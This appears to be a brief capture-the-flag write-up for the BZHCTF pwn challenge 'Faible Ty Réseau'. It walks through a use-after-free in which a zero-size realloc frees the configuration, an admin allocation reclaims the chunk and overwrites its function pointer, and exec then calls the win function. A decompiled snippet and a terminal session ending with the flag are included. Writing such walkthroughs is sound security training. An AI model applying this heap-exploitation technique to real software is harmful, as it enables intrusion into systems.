Faible Ty Réseau is a basic heap-like challenge, it allows us to create a configuration, edit it, call a function pointer on it and finally to free it:
As we can see, if ptr is not NULL and that we enter only one byte for each read (by sending only \n for example), then we will trigger a realloc(ptr, 1 + 1 - 2) which frees ptr, ptr being freed the freelist is pointing on ptr. Now let’s take a look at the alloc_admin function:
By allocating 0x18 bytes, it gets the previous freed ptr and writes over a few fields like the function pointer. Then we just have to call the exec function which will call the win function:
1 2 3 4 5 6 7
intexec() { if ( ptr ) return (*(ptr + 2))(); printf("Pas de configuration !"); return fflush(stdout); }
nasm@off:~/ctf/bzhCTF/pwn$ ./FTM Vous n'êtes pas connecté (anonyme) 1. Modifier les paramètres de connexion 2. Restaurer la configutation d'usine 3. Tester la configuration 4. Voir la configuration courante 5. Quitter (au revoir !) >>>> 1 New hostname : dumb
New host : dumb Vous n'êtes pas connecté (anonyme) 1. Modifier les paramètres de connexion 2. Restaurer la configutation d'usine 3. Tester la configuration 4. Voir la configuration courante 5. Quitter (au revoir !) >>>> 1 New hostname :
New host : Vous n'êtes pas connecté (anonyme) 1. Modifier les paramètres de connexion 2. Restaurer la configutation d'usine 3. Tester la configuration 4. Voir la configuration courante 5. Quitter (au revoir !) >>>> 3 BZHCTF{9024b719d4449bc9827478e50f0279427ccb542cc3ecdec21fce38c52b29561c}